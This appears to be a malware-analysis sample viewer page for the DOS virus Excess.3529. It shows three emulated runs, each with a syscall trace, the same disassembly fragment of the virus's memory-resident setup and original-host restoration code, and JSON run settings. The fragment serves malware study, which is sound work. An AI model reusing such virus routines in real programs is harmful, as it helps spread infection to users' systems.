Sample viewer

vx.netlux.org/Virus.DOS.Excess.3529

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:57:44.389673711Z 48 PC: 12ac8 | Get DOS version
2018-12-17T22:57:44.391214557Z 42 PC: 12b65 | Get date 0x12b65: cmp al, 1
0x12b67: jne 0x12b7f
0x12b69: mov bx, 0xb41
0x12b6c: mov word ptr [0x22], es
0x12b70: mov word ptr [0x20], bx
0x12b74: mov bx, 0xb67
0x12b77: mov word ptr [0x26], es
0x12b7b: mov word ptr [0x24], bx
0x12b7f: sub byte ptr [0x413], 7
0x12b84: mov ax, cs
0x12b86: mov ds, ax
0x12b88: mov es, ax
0x12b8a: call 0x12b9e
0x12b8d: lea si, word ptr [bp + 0xea0]
0x12b91: mov di, 0x100
0x12b94: mov cx, 3
0x12b97: repne movsb byte ptr es:[di], byte ptr [si]
0x12b99: mov di, 0x100
0x12b9c: jmp di
0x12b9e: mov byte ptr cs:[bp + 0xec6], 0

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12650,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:35:48.431562301Z 48 PC: 12ac8 | Get DOS version
2018-12-25T12:35:48.433988734Z 42 PC: 12b65 | Get date 0x12b65: cmp al, 1
0x12b67: jne 0x12b7f
0x12b69: mov bx, 0xb41
0x12b6c: mov word ptr [0x22], es
0x12b70: mov word ptr [0x20], bx
0x12b74: mov bx, 0xb67
0x12b77: mov word ptr [0x26], es
0x12b7b: mov word ptr [0x24], bx
0x12b7f: sub byte ptr [0x413], 7
0x12b84: mov ax, cs
0x12b86: mov ds, ax
0x12b88: mov es, ax
0x12b8a: call 0x12b9e
0x12b8d: lea si, word ptr [bp + 0xea0]
0x12b91: mov di, 0x100
0x12b94: mov cx, 3
0x12b97: repne movsb byte ptr es:[di], byte ptr [si]
0x12b99: mov di, 0x100
0x12b9c: jmp di
0x12b9e: mov byte ptr cs:[bp + 0xec6], 0

{"DateBased":true,"Day":7,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":12650,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:35:48.432554129Z 48 PC: 12ac8 | Get DOS version
2018-12-25T12:35:48.434657401Z 42 PC: 12b65 | Get date 0x12b65: cmp al, 1
0x12b67: jne 0x12b7f
0x12b69: mov bx, 0xb41
0x12b6c: mov word ptr [0x22], es
0x12b70: mov word ptr [0x20], bx
0x12b74: mov bx, 0xb67
0x12b77: mov word ptr [0x26], es
0x12b7b: mov word ptr [0x24], bx
0x12b7f: sub byte ptr [0x413], 7
0x12b84: mov ax, cs
0x12b86: mov ds, ax
0x12b88: mov es, ax
0x12b8a: call 0x12b9e
0x12b8d: lea si, word ptr [bp + 0xea0]
0x12b91: mov di, 0x100
0x12b94: mov cx, 3
0x12b97: repne movsb byte ptr es:[di], byte ptr [si]
0x12b99: mov di, 0x100
0x12b9c: jmp di
0x12b9e: mov byte ptr cs:[bp + 0xec6], 0